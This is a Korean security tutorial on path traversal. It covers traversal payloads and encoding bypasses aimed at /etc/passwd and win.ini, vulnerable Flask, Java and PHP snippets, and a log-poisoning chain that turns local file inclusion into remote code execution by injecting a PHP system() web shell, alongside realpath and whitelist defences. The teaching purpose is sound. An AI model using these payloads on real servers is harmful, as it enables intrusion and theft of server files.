Path Traversal: 경로 순회로 서버 파일 탈취하기
경로 순회(디렉토리 탈출) 공격의 원리, ../를 이용한 다양한 우회 기법, 고위험 타겟 파일 목록, 그리고 realpath 검증과 파일명 화이트리스트로 완벽 방어하는 방법을 다룹니다.
지난 글에서 IDOR를 집중 분석했습니다. 이번 글에서는 역시 접근 제어 취약점 계열인 경로 순회(Path Traversal, Directory Traversal)를 다룹니다. 서버가 파일 이름을 사용자 입력으로 받아 파일 시스템에 접근할 때, 검증 없이 ../ 시퀀스를 허용하면 허용된 디렉토리를 벗어나 서버의 임의 파일을 읽거나 쓸 수 있습니다.
경로 순회란?
..는 유닉스/Windows 파일 시스템에서 상위 디렉토리를 의미합니다. ../../../를 반복하면 루트 디렉토리까지 이동할 수 있습니다. 애플리케이션이 파일 이름을 사용자 입력으로 받아 그대로 파일 경로에 사용하면, 공격자는 ../../../etc/passwd 같은 페이로드로 허용된 디렉토리 밖의 파일에 접근할 수 있습니다.
# 정상 동작
GET /files?name=report.pdf
→ /app/uploads/report.pdf 읽기
# Path Traversal 공격
GET /files?name=../../../etc/passwd
→ /app/uploads/../../../etc/passwd
→ 정규화 후 /etc/passwd 읽기
우회 기법
단순히 ../를 필터링하는 것만으로는 불충분합니다. 다양한 우회 기법이 존재합니다:
# 기본
../../../etc/passwd
# URL 인코딩 (%2F = /)
..%2F..%2F..%2Fetc%2Fpasswd
# 이중 URL 인코딩 (%252F)
..%252F..%252F..%252Fetc%252Fpasswd
# 유니코드/UTF-8 인코딩
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
# 역슬래시 (Windows)
..\..\..\windows\win.ini
# ../를 제거하는 필터 우회 (재조립)
....//....//....//etc//passwd
....//...//.....//etc//passwd
# 절대 경로 직접 시도
/etc/passwd
C:\windows\system32\drivers\etc\hosts
# null 바이트 (확장자 필터 우회, 구형 PHP)
../../../etc/passwd%00.jpg
실제 취약한 코드 패턴
# Flask (취약)
@app.route('/download')
def download():
filename = request.args.get('file')
# ❌ 경로 검증 없이 직접 전송
return send_from_directory('/app/uploads', filename)
# 주의: send_from_directory는 내부적으로 경로 검증을 하지만
# 구현에 따라 우회될 수 있으므로 항상 직접 검증 권장
// Java Servlet (취약)
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
String filename = req.getParameter("file");
File file = new File("/var/app/docs/" + filename);
// ❌ 경로 검증 없음
try (FileInputStream fis = new FileInputStream(file)) {
// 파일 전송
}
}
// PHP (취약)
$file = $_GET['page'];
// ❌ include는 경로 순회 + 원격 파일 포함(RFI)까지 가능
include("/var/www/pages/" . $file . ".php");
방어 전략
핵심: realpath()로 실제 경로를 구해 기준 디렉토리 내에 있는지 검증합니다. 심볼릭 링크까지 해결한 절대 경로를 비교해야 우회가 불가능합니다.
import os
def safe_open(filename: str, base_dir: str = '/app/uploads'):
# realpath: 모든 ../, 심볼릭 링크, 중복 슬래시 해결
base = os.path.realpath(base_dir)
requested = os.path.realpath(os.path.join(base_dir, filename))
# base + os.sep: /uploads 뒤에 /를 붙여 /uploads_evil 같은 경우도 차단
if not requested.startswith(base + os.sep):
raise PermissionError(f'허용되지 않은 경로: {filename}')
return open(requested, 'rb')
# 사용
try:
with safe_open(request.args.get('file')) as f:
content = f.read()
except PermissionError:
return HttpResponse(status=400)
// Node.js
const path = require('path');
const fs = require('fs');
function safeReadFile(filename) {
const uploadDir = path.resolve('/app/uploads');
const resolved = path.resolve(uploadDir, filename);
// 경계 검사: uploadDir로 시작하는지 확인
if (!resolved.startsWith(uploadDir + path.sep)) {
throw new Error('경로 순회 감지');
}
return fs.readFileSync(resolved);
}
파일명 화이트리스트: 파일명에서 경로 구분자를 완전히 제거합니다.
import re
def sanitize_filename(filename: str) -> str:
# 경로 구분자, .., 숨김 파일 접두사 제거
basename = os.path.basename(filename) # 마지막 파일명만 추출
# 알파벳, 숫자, 하이픈, 언더스코어, 점만 허용
safe = re.sub(r'[^a-zA-Z0-9\-_.]', '', basename)
if safe.startswith('.'): # 숨김 파일 방지
safe = safe[1:]
return safe
파일 접근 최소화: 사용자가 업로드한 파일을 직접 서빙하는 대신 UUID 기반 간접 참조를 사용합니다.
# 파일 업로드 시 DB에 매핑 저장
class UploadedFile(models.Model):
uuid = models.UUIDField(default=uuid.uuid4, unique=True)
original_name = models.CharField(max_length=255)
storage_path = models.CharField(max_length=500) # 절대 경로, 외부 노출 안 함
owner = models.ForeignKey(User, on_delete=models.CASCADE)
# 다운로드 시 UUID로만 접근
@login_required
def download_file(request, file_uuid):
f = get_object_or_404(UploadedFile, uuid=file_uuid, owner=request.user)
return FileResponse(open(f.storage_path, 'rb'))
# storage_path는 사용자가 절대 제어할 수 없음
LFI에서 RCE로 (Local File Inclusion → Remote Code Execution)
PHP 환경에서 경로 순회 + include/require가 결합되면 원격 코드 실행으로 이어질 수 있습니다:
// LFI → RCE 공격 체인
// 1. 서버 로그에 PHP 코드를 주입
// User-Agent: <?php system($_GET['cmd']); ?>
// 2. LFI로 로그 파일 include
// ?page=../../../var/log/apache2/access.log
// 3. cmd 파라미터로 명령 실행
// ?page=../../../var/log/apache2/access.log&cmd=id
이를 방지하려면 파일 포함에 사용자 입력을 절대 사용하지 않고, PHP에서는 allow_url_include = Off를 설정합니다.
보안 테스트 체크리스트
# Burp Suite Intruder로 파일 이름 파라미터 퍼징
# 또는 OWASP ZAP의 자동 스캔
# 수동 테스트
curl "https://target.com/files?name=../../../etc/passwd"
curl "https://target.com/files?name=..%2F..%2F..%2Fetc%2Fpasswd"
# Windows 대상
curl "https://target.com/files?name=..\..\..\windows\win.ini"
경로 순회는 구현이 쉽고 발견도 쉽지만, 방어도 명확합니다. realpath 기반 경계 검증 + 파일명 새니타이즈 + UUID 간접 참조를 조합하면 완전히 차단할 수 있습니다.
지난 글: IDOR: 불안전한 직접 객체 참조 완전 분석
읽어주셔서 감사합니다. 😊